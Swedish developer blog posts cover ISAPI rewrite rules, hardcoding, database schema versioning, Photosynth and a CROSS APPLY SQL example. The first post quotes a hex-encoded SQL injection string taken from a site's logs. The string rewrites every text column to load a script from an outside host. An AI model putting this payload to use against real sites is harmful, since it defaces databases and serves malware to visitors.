Spännande sql-injektion dundrade just in

Fick just in följande sträng mot en parameter på en sajt, nån som orkar lista ut vad den är tänkt att ställa till med?

;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S)

Sökte på den på Google och fick en hel del träffar. Intressant att om man klickar på Cachad på någon av dem spärrar G bort och visar förstsidan istället. Undrar ifall jag kommer bli blockad för att jag postade den här...

By Jesper Lind

Uppdatering om ISAPI-regler med Helicon Tech Rewrite 3

Skrev en beskrivning om hur man gör ISAPI Rewrite 3 på Bineros servrar och tyvärr innehåll denna några fel. Så om någon har provat beskrivningen utan lycka så kan jag rekommendera att kolla in ändringarna på den länken och så kommer det nog gå mycket bättre.

ISAPI-reglerna ska bland annat ligga i en fil vid namnet .htaccess och inte httpd.ini som jag skrev först.

By Jesper Lind

Det kanske inte är så dumt att hårdkoda endå...

Den israeliska Kodaren Ayende skrev för ett tag sen några intressanta inlägg där han framhöll att hårdkoda är det bästa sättet för att skapa lättföränderliga system. Stick och stäv mot de flesta programmerares uppfattning med andra ord. Och antagligen var han ute för att provocera en del och han lyckades reta upp rätt många utvecklare. Läs på Wikipedia om du vill veta mer om begreppet att hårdkoda.

Hur som helst blev en intressant omväxling kommentarer till inläggen och han förklarade mer hur han menade att för mycket konfigurering i system lätt kan leda till pannkaka. Kände mig lite träffad inte minst för att jag har just ett databasfält i en webbapp som heter likande som i hans exempel ("random_number") och insåg att konfigurering av onödiga värden lätt kan gå till överdrift.

Ayende berättar att han nyligen genomfört ett större projekt där han hårdkodade allt i små ddl:er och han tyckte det fungerade alldeles utmärkt. Fördelen menar han är att ju mindre värden som affärsfolket som ska använda systemet kan ändra desto bättre och mindre risk för att de matar in galna värden som är inkompatibla med varandra.

Sen är det ju ofta admin-interfacen som är det krävande jobbet när man bygger upp ett system. Ju minde värden kunden ska kunna ändra desto lättare går det ju att bygga färdigt systemet. Mycket jobb går annart till för att validerar input för vad nu användaren kan få för sig att trycka in i systemet.

Läs även det sista inlägget i hans "hårdkodar-serie" där han pratar om att när ett system skalar upp och fler regler läggs på så blir blir det ohållbart att ha för mycket konfigurerbara värden.

Intressant helt klart och något att tänkta på när man bygger system. Hårdkoda mera.

By Jesper Lind

Jaiku flyttas till Google App Engine

Mikroblogg-tjänsten Jaiku har under helgen varit nere för underhåll. Det har spekulerats ifall Google (som köpt tjänsten) håller på att flyttade den till deras Google App Engine och det verkar vara fallet. Jaikuinvites har kört en tracert som tyder på det i alla fall.

N borde det inte dröja länge innan de öppnar tjänsten för alla att registrera sig. Antagligen kommer de öven att koppla in den mot det vanliga google kontot/Gmail.

Hoppas nu bara att de drar igång på måndag igen, för det är ganska trist utan tjänsten som man börjat uppskatta mycket. Har blivit en del Twittrande istället för att kompensera.

By Jesper Lind

Jämnföra databasscheman och hålla ordning på versioner

När man utvecklar en webbapplikation (eller andra typer av program för den delen också) så är det ofta en stor utmaning att hålla strukturen på databaserna likadan. Man gör ändringar i sin orginalmodell och försöker ändra alla de databaser som är i drift enligt bästa förmåga. Hittills har jag inte haft något speciellt bra sätt att göra detta på utan det slutar ofta med felsökning steg för steg och ändra databasen manuellt. Tänkte här skriva om några sätt som kan förenkla detta jobb.

Lägga in databasskripten i källkodsprojektet

Ett sätt är att skripta ut hela databasen och sedan inkludera skripten i källkodsprojektet som Coding Horror förklarar. Inte helt på det klara om detta kan hjälpa en för att uppdatera befintliga databaser, men att ha strukturen i kod är ju ett bra första steg.

Använda sig av databas-migrering

Detta är ett koncept som funnits länge i Ruby On Rails-världen och innebär att varje förändring i databasen sparar i uppdateringsskript som man kan köra på sina databaser. 

Subsonic-teamet har nyligen inspirerats av Rails och lagt in liknande Migrations-funktionalitet i Subsonic. Har provat detta lite under sommaren och även fast det är väldigt ny teknik så verkar det fungera mycket bra.

Program för att Jämnföra databasscheman

Detta sätt tycker jag är det mest bekväma och innebär minst jobb. Man utgår helt enkels från sin orginalstruktur för databasen och jämför denna med de databaser som ska uppgraderas.

Denna funktionallitet finns i Visual Studio men bara i team-edition så den har jag inte testat själv. Verkar fungera fint och jag kan rekommendera läsning hos Emad Ibrahim som har provat på det.

Det smidigaste programmet som jag har provat är dock utan tvekan Redgate SQL Compare. Att jämföra två databaser går på nån minut och man får sedan SQL Skript redo att köra på den databas som ska uppgraderas. Har bara provat testversionen men funderar skarpt på att göra en investering i en licens.

Om du har några erfarenheter om hur man kan göra version-hantering av databaser lättare, så uppskattas kommentarer.

By Jesper Lind

Photosynth - supercool och nu öppen för allmänheten

http://www.codeodyssey.se/upload/resource/blog/tree-photosynth.jpg

Det var nära två år sen Microsoft visade upp demos på sin fototeknik Photosynth, som skapar 3D-miljöer från foton. Sen dess har den blivit väldigt hypad och bland annat används i ett avsnitt av den amerikanska tv-serien CSI.

Idag så släppte de äntligen tjänsten för allmänheten och man kan nu skapa ett konto där det går att ladda upp 20 MB bilder. Under dagen har tjänsten varit väldigt överbelastad och det gick inte ens att nå sidan för mig förrän nu på natten. I bloggen skriver de om hur hela sajten krashade av all trafik.

För tillfället går tjänsten bara att använda med Internet Explorer och Microsoft meddelar att det inte går att köra på Mac. Teamet bakom viritualiseringsmotorn VMware Fusion bevisade dock under dagen att de har fel och det kan jag också bekräffa.

Man behöver ha ett MS-passportkonto när man anmäler sig och processen gick snabbt och lätt. Testkörde en synth som ni kan se en screenshot på här ovan. Det är nästa omöjligt att visa hur det fungerar på en vanlig bild hur häftigt det är, så jag rekommenderar att ni besöker sajten själva för att verkligen se vad det handlar om. Bilderna man laddar upp fogas alltså tillsammans där de överlappar och programmet bygger upp en 3D-modell på det man fotat. Man kan sedan flyga runt i modellen med hjälp av tangenterna som i ett "first-person-shooter"-spel eller arrangera dem sida vid sida och annat skoj. Ett slagt superpanorama kan man säga.

Det gäller att alla bilderna i sin samling hänger ihop med tillräckligt många detaljer för att tjänsten ska kunna skapa en fullständig sammanfogning. I mitt fall så blev de tre fristående "öar" av bilder och den kunde bara sammanfoga samlingen till 56%. Jag använde bilder på ett träd och den fattade inte riktigt att jag hade bilder från olika håll av samma objekt. Men ändå är resultatet förbluffande häftigt – även när jag bara slängde upp den första grupp bilder jag hade i fotoalbumet. Tänk då vad man kan skapa om man lägger ner lite jobb på att förbereda bilderna och ta foton särskilt för detta ändamål.

Många har trott att själva processen att skapa 3D-miljöerna skulle ta väldigt lång tid, men jag tyckte det gick väldigt snabbt med de bilder jag testkörde med. Det som tog tid var själva uppladdningen till sajten och det kan man ju förstå, speciellt eftersom jag hade med några tunga rackare i mappen.

Photosynth är verkligen en höjdartjänst som jag vet att jag kommer ha mycket kul med. Riktigt roligt att den äntligen är igång.

By Jesper Lind

SQL-fråga med CROSS APPLY

APPLY (msdn) är ett nytt SQL-kommando i SQL Server från och med version 2005 och finns i två olika varianter, CROSS APPLY och OUTER APPLY.

Kan inte säga att jag förstått dessa funktionerna helt, men jag har hittat ett bra användningsområde för CROSS APPLY. Nämligen att kunna bygga upp VIEWs med data från en relationstabell och sammanfoga dessa i en ny kolumn separerade med valfritt tecken. Detta kallas tydligen "aggregate concatenation".

Läste även att denna metod går emot huvudideén för hur en relationsdatabas är tänkt att fungera, så har du ett behov att göra såna här SQL-frågor kan det vara snart att tänka om ifall det går att göra på ett bättre sätt. Eller kanske hämta ut datan separat och bygga ihop vyn i buisness-lagret.  

Kommer här visa hur det kan fungera genom ett exempel, här först databasdiagrammet.

 

Sen ett skript (skapat med SubSonic) som bygger upp hela databasen:

SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[Products]') AND type in (N'U'))
BEGIN
CREATE TABLE [dbo].[Products](
    [Id] [int] IDENTITY(1,1) NOT NULL,
    [ProductName] [nvarchar](150) COLLATE Finnish_Swedish_CI_AS NULL,
 CONSTRAINT [PK_Products] PRIMARY KEY CLUSTERED
(
    [Id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
END
/****** Object:  Table [dbo].[Colors]    Script Date: 07/07/2008 16:58:21 ******/
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[Colors]') AND type in (N'U'))
BEGIN
CREATE TABLE [dbo].[Colors](
    [Id] [int] IDENTITY(1,1) NOT NULL,
    [ColorName] [nvarchar](150) COLLATE Finnish_Swedish_CI_AS NULL,
 CONSTRAINT [PK_Colors] PRIMARY KEY CLUSTERED
(
    [Id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
END
/****** Object:  Table [dbo].[ProductColor]    Script Date: 07/07/2008 16:58:21 ******/
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[ProductColor]') AND type in (N'U'))
BEGIN
CREATE TABLE [dbo].[ProductColor](
    [ProductId] [int] NOT NULL,
    [ColorId] [int] NOT NULL,
 CONSTRAINT [PK_ProductColor] PRIMARY KEY CLUSTERED
(
    [ProductId] ASC,
    [ColorId] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
END
/****** Object:  View [dbo].[ListOfColorsView]    Script Date: 07/07/2008 16:58:21 ******/
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
IF NOT EXISTS (SELECT * FROM sys.views WHERE object_id = OBJECT_ID(N'[dbo].[ListOfColorsView]'))
EXEC dbo.sp_executesql @statement = N'CREATE VIEW dbo.ListOfColorsView
AS
SELECT DISTINCT ProductName, ListOfColors = LEFT(o.list, LEN(o.list) - 1)
FROM         Products CROSS APPLY
                          (SELECT     CONVERT(VARCHAR(12), ColorName) + '','' AS [text()]
                            FROM          dbo.Colors c INNER JOIN
                                                   dbo.ProductColor ON c.Id = dbo.ProductColor.ColorId
                            WHERE      (dbo.ProductColor.ProductId = dbo.Products.Id)
                            ORDER BY c.ColorName FOR XML PATH('''')) o(list)
'
IF NOT EXISTS (SELECT * FROM sys.foreign_keys WHERE object_id = OBJECT_ID(N'[dbo].[FK_ProductColor_Colors]') AND parent_object_id = OBJECT_ID(N'[dbo].[ProductColor]'))
ALTER TABLE [dbo].[ProductColor]  WITH CHECK ADD  CONSTRAINT [FK_ProductColor_Colors] FOREIGN KEY([ColorId])
REFERENCES [Colors] ([Id])
ALTER TABLE [dbo].[ProductColor] CHECK CONSTRAINT [FK_ProductColor_Colors]
IF NOT EXISTS (SELECT * FROM sys.foreign_keys WHERE object_id = OBJECT_ID(N'[dbo].[FK_ProductColor_Products]') AND parent_object_id = OBJECT_ID(N'[dbo].[ProductColor]'))
ALTER TABLE [dbo].[ProductColor]  WITH CHECK ADD  CONSTRAINT [FK_ProductColor_Products] FOREIGN KEY([ProductId])
REFERENCES [Products] ([Id])
ALTER TABLE [dbo].[ProductColor] CHECK CONSTRAINT [FK_ProductColor_Products]

Och lite testdata:

ALTER TABLE [Colors] NOCHECK CONSTRAINT ALL
GO
ALTER TABLE [Colors] DISABLE TRIGGER ALL
GO

SET IDENTITY_INSERT [Colors] ON
PRINT 'Begin inserting data in Colors'
INSERT INTO [Colors] ([Id], [ColorName])
VALUES(1, 'Red')
INSERT INTO [Colors] ([Id], [ColorName])
VALUES(2, 'Blue')
INSERT INTO [Colors] ([Id], [ColorName])
VALUES(3, 'Green')
SET IDENTITY_INSERT [Colors] OFF
ALTER TABLE [Colors] CHECK CONSTRAINT ALL
GO

ALTER TABLE [Colors] ENABLE TRIGGER ALL
GO



ALTER TABLE [Products] NOCHECK CONSTRAINT ALL
GO
ALTER TABLE [Products] DISABLE TRIGGER ALL
GO

SET IDENTITY_INSERT [Products] ON
PRINT 'Begin inserting data in Products'
INSERT INTO [Products] ([Id], [ProductName])
VALUES(1, 'Test product 1')
INSERT INTO [Products] ([Id], [ProductName])
VALUES(2, 'Test product 2 - No Colors')
SET IDENTITY_INSERT [Products] OFF
ALTER TABLE [Products] CHECK CONSTRAINT ALL
GO

ALTER TABLE [Products] ENABLE TRIGGER ALL
GO



ALTER TABLE [ProductColor] NOCHECK CONSTRAINT ALL
GO
ALTER TABLE [ProductColor] DISABLE TRIGGER ALL
GO

PRINT 'Begin inserting data in ProductColor'
INSERT INTO [ProductColor] ([ProductId], [ColorId])
VALUES(1, 1)
INSERT INTO [ProductColor] ([ProductId], [ColorId])
VALUES(1, 2)
INSERT INTO [ProductColor] ([ProductId], [ColorId])
VALUES(1, 3)
ALTER TABLE [ProductColor] CHECK CONSTRAINT ALL
GO

ALTER TABLE [ProductColor] ENABLE TRIGGER ALL
GO

Det mest intressanta är ju själva vyn som separerar datan från relationstabellen med ett kommatecken mellan varje värde.

SELECT DISTINCT ProductName, ListOfColors = LEFT(o.list, LEN(o.list) - 1)
FROM         Products CROSS APPLY
                          (SELECT     CONVERT(VARCHAR(12), ColorName) + ',' AS [text()]
                            FROM          dbo.Colors c INNER JOIN
                                                   dbo.ProductColor ON c.Id = dbo.ProductColor.ColorId
                            WHERE      (dbo.ProductColor.ProductId = dbo.Products.Id)
                            ORDER BY c.ColorName FOR XML PATH('')) o(list)

Svaret från denna vyn ser ut så här:

Test product 1    Blue,Green,Red
Test product 2 - No Colors    NULL

Mer läsning:

http://zulfiqar.typepad.com/zulfiqars_web/2005/04/tsql_concatenat.html

http://blog.sqlauthority.com/2008/01/04/sql-server-2005-cross-apply/

By Jesper Lind

Video: "The Website is Down: Sales Guy vs. Web Dude"

Den här har nog redan gått några virala varv runt "the intertubes" men har du inte sett den rekommenderas den starkt. Varning för stundvis omogen humor och dåligt språk, men den är i många delar helt klockren. Vi har haft rätt mycket kul åt den här på kontoret och har svårt att oss på själva på allvar längre. Om vi nu någonsin har gjort det ;)

Orginalet finns på thewebsiteisdown.com och har på den senaste veckan blivit så populär så att själva sajten har krashat några gånger (ödets ironi...)

By Jesper Lind